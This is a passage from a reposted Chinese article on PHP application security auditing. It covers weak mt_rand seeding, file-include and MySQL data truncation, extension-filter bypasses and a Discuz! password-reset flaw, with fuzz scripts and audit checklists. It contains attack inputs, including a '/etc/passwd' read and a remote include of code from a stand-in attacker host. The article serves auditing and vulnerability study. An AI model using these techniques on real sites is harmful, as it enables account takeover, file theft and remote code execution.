php request漏洞利用,牛人写的. 高级PHP应用程序漏洞审核技术

25106261062710628106291063010631106321063

3o

70693

pjwCrvVt3oobAaOr

-------------------------------------------------------------------------------

当10634次时候我们得到了结果。

当PHP版本到了5.2.1后,通过修改算法修补了奇数和偶数的播种相等的问题,这样也导致

了php5.2.0前后导致同一个播种后的mt_rand()的值不一样。比如:

--code-------------------------------------------------------------------------

mt_srand(42);

echo mt_rand();

//php<=5.20 1387371436

//php>5.20 1354439493

?>

-------------------------------------------------------------------------------

正是这个原因,也要求了我们的exp的运行环境:当目标>5.20时候,我们exp运行的环境也

要是>5.20的版本,反过来也是一样。

从上面的测试及分析来看,php<5.26不管有没有定义播种,mt_rand处理的数据都是不安

全的。在web应用里很多都使用mt_rand来处理随机的session,比如密码找回功能等等,这样

的后果就是被攻击者恶意利用直接修改密码。

很多著名的程序都产生了类似的漏洞如wordpress、phpbb、punbb等等。(在后面我们将

实际分析下国内著名的bbs程序Discuz!的mt_srand导致的漏洞)

+++++++++++++++++++++++++

漏洞审计策略

-------------------------

PHP版本要求:php4 php5<5.2.6

系统要求:无

审计策略:查找mt_srand/mt_rand

+++++++++++++++++++++++++

5.6 特殊字符

其实“特殊字符”也没有特定的标准定义,主要是在一些code hacking发挥着特殊重作用

的一类字符。下面就举几个例子:

5.6.1 截断

其中最有名的数大家都熟悉的null字符截断。

5.6.1.1 include截断

--code-------------------------------------------------------------------------

include $_GET['action'].".php";

?>

-------------------------------------------------------------------------------

提交“action=/etc/passwd”中的“”将截断后面的“.php”,但是除了“”还有没有

其他的字符可以实现截断使用呢?肯定有人想到了远程包含的url里问号“?”的作用,通过提交

“action=http://www.hacksite.com/evil-code.txt?”这里“?”实现了“伪截断”:),好象这个

看上去不是那么舒服那么我们简单写个代码fuzz一下:

--code-------------------------------------------------------------------------

var5.php代码:

include $_GET['action'].".php";

print strlen(realpath("./"))+strlen($_GET['action']);

///

ini_set('max_execution_time', 0);

$str='';

for($i=0;$i<50000;$i++)

{

$str=$str."/";

$resp=file_get_contents('http://127.0.0.1/var/var5.php?action=1.txt'.$str);

//1.txt里的代码为print 'hi';

if (strpos($resp, 'hi') !== false){

print $i;

exit;

}

}

?>

-------------------------------------------------------------------------------

经过测试字符“.”、“ /”或者2个字符的组合,在一定的长度时将被截断,win系统和*nix

的系统长度不一样,当win下strlen(realpath("./"))+strlen($_GET['action'])的长度大于

256时被截断,对于*nix的长度是4 * 1024 = 4096。对于php.ini里设置远程文件关闭的时候

就可以利用上面的技巧包含本地文件了。(此漏洞由cloie#ph4nt0m.org最先发现])

5.6.1.2 数据截断

对于很多web应用文件在很多功能是不容许重复数据的,比如用户注册功能等。一般的应

用程序对于提交注册的username和数据库里已有的username对比是不是已经有重复数据,然

而我们可以通过“数据截断”等来饶过这些判断,数据库在处理时候产生截断导致插入重复数

据。

1) Mysql SQL Column Truncation Vulnerabilities

这个漏洞又是大牛Stefan Esser发现的(Stefan Esser是我的偶像:)),这个是由于mysql

的sql_mode设置为default的时候,即没有开启STRICT_ALL_TABLES选项时,MySQL对于插入超

长的值只会提示warning,而不是error(如果是error就插入不成功),这样可能会导致一些截

断问题。测试如下:

--code-------------------------------------------------------------------------

mysql> insert into

truncated_test(`username`,`password`) values("admin","pass");

mysql> insert into

truncated_test(`username`,`password`) values("admin x",

"new_pass");

Query OK, 1 row affected, 1 warning (0.01 sec)

mysql> select * from truncated_test;

+----+------------+----------+

| id | username | password |

+----+------------+----------+

| 1 | admin | pass |

| 2 | admin | new_pass |

+----+------------+----------+

2 rows in set (0.00 sec)

-------------------------------------------------------------------------------

2) Mysql charset Truncation vulnerability

这个漏洞是80sec发现的,当mysql进行数据存储处理utf8等数据时对某些字符导致数据

截断。测试如下:

--code-------------------------------------------------------------------------

mysql> insert into

truncated_test(`username`,`password`) values(concat("admin",0xc1),

"new_pass2");

Query OK, 1 row affected, 1 warning (0.00 sec)

mysql> select * from truncated_test;

+----+------------+----------+

| id | username | password |

+----+------------+----------+

| 1 | admin | pass |

| 2 | admin | new_pass |

| 3 | admin | new_pass2 |

+----+------------+----------+

2 rows in set (0.00 sec)

-------------------------------------------------------------------------------

很多的web应用程序没有考虑到这些问题,只是在数据存储前简单查询数据是否包含相同

数据,如下代码:

--code-------------------------------------------------------------------------

$result = mysql_query("SELECT * from test_user where user='$user'

");

....

if(@mysql_fetch_array($result, MYSQL_NUM)) {

die("already exist");

}

-------------------------------------------------------------------------------

+++++++++++++++++++++++++

漏洞审计策略

-------------------------

PHP版本要求:无

系统要求:无

审计策略:通读代码

+++++++++++++++++++++++++

5.6.1.3 文件操作里的特殊字符

文件操作里有很多特殊的字符,发挥特别的作用,很多web应用程序没有注意处理这些字

符而导致安全问题。比如很多人都知道的windows系统文件名对“空格”和“.”等的忽视,这个

主要体现在上传文件或者写文件上,导致直接写webshell。另外对于windows系统对“.\..\”

进行系统转跳等等。

下面还给大家介绍一个非常有意思的问题:

--code-------------------------------------------------------------------------

//Is this code vul?

if( eregi(".php",$url) ){

die("ERR");

}

$fileurl=str_replace($webdb[www_url],"",$url);

.....

header('Content-Disposition: attachment;

filename='.$filename);

-------------------------------------------------------------------------------

很多人看出来了上面的代码的问题,程序首先禁止使用“.php”后缀。但是下面居然接了

个str_replace替换$webdb[www_url]为空,那么我们提交“.p$webdb[www_url]hp”就可以饶过

了。那么上面的代码杂fix呢?有人给出了如下代码:

--code-------------------------------------------------------------------------

$fileurl=str_replace($webdb[www_url],"",$url);

if( eregi(".php",$url) ){

die("ERR");

}

-------------------------------------------------------------------------------

str_replace提到前面了,很完美的解决了str_replace代码的安全问题,但是问题不是那

么简单,上面的代码在某些系统上一样可以突破。接下来我们先看看下面的代码:

--code-------------------------------------------------------------------------

for($i=0;$i<255;$i++) {

$url = '1.ph'.chr($i);

$tmp = @file_get_contents($url);

if(!empty($tmp)) echo chr($i)."\r\n";

}

?>

-------------------------------------------------------------------------------

我们在windows系统运行上面的代码得到如下字符* < > ? P

p都可以打开目录下的1.php。

+++++++++++++++++++++++++

漏洞审计策略

-------------------------

PHP版本要求:无

系统要求:无

审计策略:文读取件操作函数

+++++++++++++++++++++++++

六、怎么进一步寻找新的字典

上面我们列举很多的字典,但是很多都是已经公开过的漏洞或者方式,那么我们怎么进一

步找到新的字典或者利用方式呢?

* 分析和学习别人发现的漏洞或者exp,总结出漏洞类型及字典。

* 通过学习php手册或者官方文档,挖掘出新的有危害的函数或者利用方式。

* fuzz php的函数,找到新的有问题的函数(不一定非要溢出的),如上一章的4.6的部分

很多都可以简单的fuzz脚本可以测试出来。

* 分析php源代码,发现新的漏洞函数“特性”或者漏洞。(在上一节里介绍的那些“漏洞审

计策略”里,都没有php源代码的分析,如果你要进一步找到新的字典,可以在php源代码的基础

上分析下成因,然后根据这个成因来分析寻找新的漏洞函数“特性”或者漏洞。)(我们以后会

陆续公布一些我们对php源代码的分析)

* 有条件或者机会和开发者学习,找到他们实现某些常用功能的代码的缺陷或者容易忽

视的问题

* 你有什么要补充的吗? :)

七、DEMO

* DEMO -- Discuz! Reset User Password 0day Vulnerability 分析

(Exp:http://www.80vul.com/dzvul/sodb/14/sodb-2008-14.txt)

PHP版本要求:php4 php5<5.2.6

系统要求: 无

审计策略:查找mt_srand/mt_rand

第一步 安装Discuz! 6.1后利用grep查找mt_srand得到:

-------------------------------------------------------------------------------

heige@heige-desktop:~/dz6/upload$ grep -in 'mt_srand' -r ./

--colour -5

./include/global.func.php-694- $GLOBALS['rewritecompatible']

&& $name =

rawurlencode($name);

./include/global.func.php-695- return '

href="tag-'.$name.'.html"'.stripslashes($extra).'>';

./include/global.func.php-696-}

./include/global.func.php-697-

./include/global.func.php-698-function random($length, $numeric =

0) {

./include/global.func.php:699: PHP_VERSION < '4.2.0'

&& mt_srand((double)microtime() *

1000000);

./include/global.func.php-700- if($numeric) {

./include/global.func.php-701- $hash = sprintf('%0'.$length.'d',

mt_rand(0, pow(10, $length) - 1));

./include/global.func.php-702- } else {

./include/global.func.php-703- $hash = '';

./include/global.func.php-704- $chars =

'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz';

--

./include/discuzcode.func.php-30-

./include/discuzcode.func.php-31-if(!isset($_DCACHE['bbcodes']) ||

!is_array($_DCACHE['bbcodes']) || !is_array

($_DCACHE['smilies'])) {

./include/discuzcode.func.php-32- @include

DISCUZ_ROOT.'./forumdata/cache/cache_bbcodes.php';

./include/discuzcode.func.php-33-}

./include/discuzcode.func.php-34-

./include/discuzcode.func.php:35:mt_srand((double)microtime() *

1000000);

./include/discuzcode.func.php-36-

./include/discuzcode.func.php-37-function attachtag($pid, $aid,

&$postlist) {

./include/discuzcode.func.php-38- global $attachrefcheck,

$thumbstatus, $extcredits, $creditstrans, $ftp,

$exthtml;

./include/discuzcode.func.php-39- $attach =

$postlist[$pid]['attachments'][$aid];

./include/discuzcode.func.php-40- if($attach['attachimg']) {

-------------------------------------------------------------------------------

有两个文件用到了mt_srand(),第1是在./include/global.func.php的随机函数random()里:

--code-------------------------------------------------------------------------

PHP_VERSION < '4.2.0'

&& mt_srand((double)microtime() *

1000000);

-------------------------------------------------------------------------------

判断了版本,如果是PHP_VERSION >

'4.2.0'使用php本身默认的播种。从上一章里的分

析我们可以看得出来,使用php本身默认的播种的分程序两种情况:

1) 'Cross Application Attacks' 这个思路是只要目标上有使用使用的程序里定义了类似

mt_srand((double)microtime() * 1000000)的播种的话,又很有可能被暴力。在dz这里不需

要Cross Application,因为他本身有文件就定义了,就是上面的第2个文件:

--code-------------------------------------------------------------------------

./include/discuzcode.func.php:35:mt_srand((double)microtime() *

1000000);

-------------------------------------------------------------------------------

这里我们肯定dz是存在这个漏洞的,文章给出来的exp也就是基于这个的。(具体exp利用

的流程有兴趣的可以自己分析下])

2) 有的人认为如果没有mt_srand((double)microtime() *

1000000);这里的定义,那么dz就

不存在漏洞,这个是不正确的。首先你不可以保证别人使用的其他应用程序没有定义,再次不

利用'Cross Application

Attacks',5.2.6>php>4.2.0

php本身默认播种的算法也不是很强

悍(分析详见上),也是有可以暴力出来,只是速度要慢一点。

八、后话

本文是80vul的三大马甲:80vul-A,80vul-B,80vul-C集体智慧的结晶,尤其是80vul-B贡

献了不少新发现。另外需要感谢的是文章里提到的那些漏洞的发现者,没有他们的成果也就

没有本文。本文没有写“参考”,因为本文是一个总结性的文挡,有太多的连接需要提供限于篇

幅就没有一一列举,有心的读者可以自行google。另外原本没有打算公布此文,因为里面包含

了太多应用程序的0day,而且有太多的不尊重别人成果的人,老是利用从别人那学到的技术来

炫耀,甚至牟取利益。在这里我们希望你可以在本文里学到些东西,更加希望如果通过本文你

找到了某些应用程序的0day,请低调处理,或者直接提交给官方修补,谢谢大家!!

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值